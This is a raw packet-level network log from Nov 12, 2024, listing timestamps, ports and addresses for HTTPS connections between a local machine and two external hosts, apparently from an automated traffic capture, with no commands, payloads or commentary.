Nov 12, 2024 17:29:47.761887074 CET	49208	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.761898041 CET	443	49208	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.761924028 CET	443	49208	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.761939049 CET	443	49208	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.761940956 CET	49208	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.761970043 CET	49208	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.761976957 CET	443	49208	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.762058020 CET	49208	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.762058973 CET	443	49208	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.762096882 CET	49208	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.763262033 CET	49208	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.763288975 CET	443	49208	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.767071962 CET	49210	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.767113924 CET	443	49210	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.767258883 CET	49210	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.767515898 CET	49210	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.767532110 CET	443	49210	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.775150061 CET	443	49209	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.775221109 CET	443	49209	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.775249004 CET	443	49209	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.775270939 CET	49209	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.775301933 CET	443	49209	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.775341034 CET	49209	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.775496960 CET	443	49209	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.775543928 CET	49209	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.776299000 CET	443	49209	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.776346922 CET	49209	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.776364088 CET	443	49209	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.776381969 CET	443	49209	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.776418924 CET	49209	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.776593924 CET	49209	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.776607990 CET	443	49209	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.782887936 CET	49211	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.782929897 CET	443	49211	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.783009052 CET	49211	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.783571005 CET	49211	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.783591032 CET	443	49211	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.790499926 CET	49212	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.790540934 CET	443	49212	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.790596008 CET	49212	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.793293953 CET	49212	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.793315887 CET	443	49212	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.794096947 CET	49213	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.794130087 CET	443	49213	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.794178009 CET	49213	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.794302940 CET	49214	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.794316053 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.794353962 CET	49214	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.794903994 CET	49213	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.794915915 CET	443	49213	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.795232058 CET	49215	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.795238972 CET	443	49215	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.795284986 CET	49215	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.795648098 CET	49214	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.795663118 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.795975924 CET	49215	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.795984030 CET	443	49215	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:48.917480946 CET	443	49210	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:48.921835899 CET	49210	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:48.921868086 CET	443	49210	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:48.922251940 CET	443	49210	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:48.924041986 CET	49210	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:48.924113989 CET	443	49210	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:48.924488068 CET	49210	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:48.971339941 CET	443	49210	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.126323938 CET	443	49211	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.126640081 CET	49211	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:49.126678944 CET	443	49211	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.127043962 CET	443	49211	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.127382994 CET	49211	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:49.127455950 CET	443	49211	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.127502918 CET	443	49215	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.127588987 CET	49211	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:49.127613068 CET	443	49211	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.127800941 CET	49215	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:49.127821922 CET	443	49215	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.128161907 CET	443	49212	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.128381968 CET	49212	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:49.128415108 CET	443	49212	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.128762007 CET	443	49212	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.128885031 CET	443	49215	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.128938913 CET	49215	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:49.128978014 CET	443	49213	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.129117012 CET	49212	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:49.129182100 CET	443	49212	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.129466057 CET	49215	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:49.129524946 CET	443	49215	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.129637957 CET	49213	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:49.129645109 CET	443	49213	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.129961967 CET	443	49213	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.129982948 CET	49212	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:49.130001068 CET	49212	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:49.130012989 CET	443	49212	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.130055904 CET	49212	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:49.130070925 CET	443	49212	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.130079985 CET	49215	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:49.130088091 CET	443	49215	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.130402088 CET	49213	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:49.130460024 CET	443	49213	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.139309883 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.139532089 CET	49214	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:49.139553070 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.139890909 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.140206099 CET	49214	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:49.140269041 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.232445002 CET	443	49210	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.232522964 CET	443	49210	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.232566118 CET	443	49210	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.232583046 CET	49210	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:49.232609987 CET	443	49210	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.232656956 CET	49210	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:49.232793093 CET	443	49210	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.232846975 CET	49210	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:49.233298063 CET	443	49210	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.233350039 CET	49210	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:49.233355045 CET	443	49210	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.233396053 CET	443	49210	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.233458042 CET	49210	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:49.233844995 CET	49210	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:49.233859062 CET	443	49210	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.322907925 CET	49213	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:49.327900887 CET	49215	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:49.345165968 CET	49214	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:49.468867064 CET	443	49212	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.469528913 CET	443	49212	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.469573975 CET	49212	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:49.471004009 CET	49212	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:49.471030951 CET	443	49212	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.475718975 CET	49216	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:49.475752115 CET	443	49216	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.475807905 CET	49216	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:49.476044893 CET	49216	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:49.476057053 CET	443	49216	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.491007090 CET	443	49215	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.491100073 CET	443	49215	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.491144896 CET	49215	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:49.492208958 CET	49215	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:49.492214918 CET	443	49215	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.604737997 CET	443	49211	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.604861021 CET	443	49211	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.604954958 CET	443	49211	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.605062008 CET	49211	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:49.605103970 CET	443	49211	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.605159044 CET	49211	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:49.605498075 CET	443	49211	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.605551004 CET	49211	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:49.626801014 CET	49217	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:49.626852989 CET	443	49217	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.627018929 CET	49217	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:49.627576113 CET	49217	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:49.627593994 CET	443	49217	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.635219097 CET	49218	443	192.168.2.22	13.107.253.45
Nov 12, 2024 17:29:49.635241985 CET	443	49218	13.107.253.45	192.168.2.22
Nov 12, 2024 17:29:49.635286093 CET	49218	443	192.168.2.22	13.107.253.45
Nov 12, 2024 17:29:49.635551929 CET	49218	443	192.168.2.22	13.107.253.45
Nov 12, 2024 17:29:49.635566950 CET	443	49218	13.107.253.45	192.168.2.22
Nov 12, 2024 17:29:49.734843016 CET	443	49211	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.735016108 CET	49211	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:49.735250950 CET	443	49211	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.735299110 CET	49211	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:49.852188110 CET	443	49211	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.852199078 CET	443	49211	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.852253914 CET	49211	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:49.852284908 CET	443	49211	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.853482962 CET	443	49211	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.853512049 CET	443	49211	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.853523016 CET	443	49211	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.853528976 CET	49211	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:49.853548050 CET	443	49211	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.853564024 CET	49211	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:49.853614092 CET	443	49211	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.853636980 CET	49211	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:49.853656054 CET	49211	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:49.853713036 CET	49211	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:49.853728056 CET	443	49211	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.859445095 CET	49214	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:49.860755920 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:49.860790014 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.860852957 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:49.861062050 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:49.861068010 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.889553070 CET	49220	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:49.889596939 CET	443	49220	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.889656067 CET	49220	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:49.889872074 CET	49220	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:49.889889002 CET	443	49220	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:49.907329082 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.140607119 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.140677929 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.140713930 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.140917063 CET	49214	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:50.140958071 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.141009092 CET	49214	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:50.141295910 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.141304016 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.141349077 CET	49214	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:50.276550055 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.276563883 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.276611090 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.276889086 CET	49214	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:50.277291059 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.277297974 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.277354002 CET	49214	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:50.277388096 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.395736933 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.395746946 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.395792961 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.395836115 CET	49214	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:50.395873070 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.396007061 CET	49214	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:50.396814108 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.396821976 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.396847963 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.396862984 CET	49214	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:50.396871090 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.396893978 CET	49214	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:50.422199965 CET	443	49218	13.107.253.45	192.168.2.22
Nov 12, 2024 17:29:50.422651052 CET	49218	443	192.168.2.22	13.107.253.45
Nov 12, 2024 17:29:50.422663927 CET	443	49218	13.107.253.45	192.168.2.22
Nov 12, 2024 17:29:50.423599958 CET	443	49218	13.107.253.45	192.168.2.22
Nov 12, 2024 17:29:50.423648119 CET	49218	443	192.168.2.22	13.107.253.45
Nov 12, 2024 17:29:50.424721956 CET	49218	443	192.168.2.22	13.107.253.45
Nov 12, 2024 17:29:50.424777985 CET	443	49218	13.107.253.45	192.168.2.22
Nov 12, 2024 17:29:50.515242100 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.515252113 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.515278101 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.515290022 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.515424013 CET	49214	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:50.515424967 CET	49214	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:50.515424967 CET	49214	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:50.515464067 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.625073910 CET	49218	443	192.168.2.22	13.107.253.45
Nov 12, 2024 17:29:50.625097036 CET	443	49218	13.107.253.45	192.168.2.22
Nov 12, 2024 17:29:50.626805067 CET	443	49216	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.627259016 CET	49216	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:50.627274990 CET	443	49216	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.627656937 CET	443	49216	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.628017902 CET	49216	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:50.628078938 CET	443	49216	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.628226995 CET	49216	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:50.638102055 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.638111115 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.638149977 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.638160944 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.638173103 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.638273954 CET	49214	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:50.638307095 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.638370037 CET	49214	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:50.638370037 CET	49214	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:50.650978088 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.650993109 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.651010990 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.651019096 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.651037931 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.651065111 CET	49214	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:50.651072025 CET	49214	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:50.651094913 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.651177883 CET	49214	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:50.671329975 CET	443	49216	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.758039951 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.758049011 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.758095026 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.758127928 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.758150101 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.758244991 CET	49214	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:50.758244991 CET	49214	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:50.758244991 CET	49214	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:50.758328915 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.758384943 CET	49214	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:50.812063932 CET	443	49217	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.812482119 CET	49217	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:50.812513113 CET	443	49217	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.812813997 CET	443	49217	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.813189983 CET	49217	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:50.813266993 CET	443	49217	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.828008890 CET	49218	443	192.168.2.22	13.107.253.45
Nov 12, 2024 17:29:50.830993891 CET	49216	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:50.876920938 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.876929045 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.876970053 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.876981974 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.876992941 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.877007008 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.877125025 CET	49214	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:50.877125025 CET	49214	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:50.877125025 CET	49214	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:50.877175093 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:50.877223015 CET	49214	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:51.019334078 CET	443	49217	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:51.019391060 CET	49217	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:51.077034950 CET	49214	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:51.246603012 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:51.246618986 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:51.246649027 CET	443	49216	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:51.246670008 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:51.246678114 CET	49214	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:51.246684074 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:51.246727943 CET	49214	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:51.246742964 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:51.246757030 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:51.246808052 CET	443	49216	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:51.246834040 CET	49214	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:51.246853113 CET	49216	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:51.246891975 CET	49214	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:51.247250080 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:51.247292042 CET	443	49220	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:51.248135090 CET	49214	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:51.248145103 CET	443	49214	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:51.249429941 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:51.249439001 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:51.249743938 CET	49220	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:51.249771118 CET	443	49220	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:51.249789953 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:51.249891043 CET	49216	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:51.249907970 CET	443	49216	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:51.250806093 CET	443	49220	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:51.250854969 CET	49220	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:51.251584053 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:51.251648903 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:51.252211094 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:51.253804922 CET	49221	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:51.253844976 CET	443	49221	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:51.253900051 CET	49221	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:51.254837036 CET	49220	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:51.254894972 CET	443	49220	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:51.255162954 CET	49220	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:51.255177021 CET	443	49220	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:51.255479097 CET	49221	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:51.255491018 CET	443	49221	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:51.295340061 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:51.453033924 CET	49220	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:51.530548096 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:51.530637026 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:51.530675888 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:51.530683994 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:51.530703068 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:51.530745029 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:51.531131029 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:51.531177998 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:51.664973021 CET	443	49219	2.59.163.43	192.168.2.22
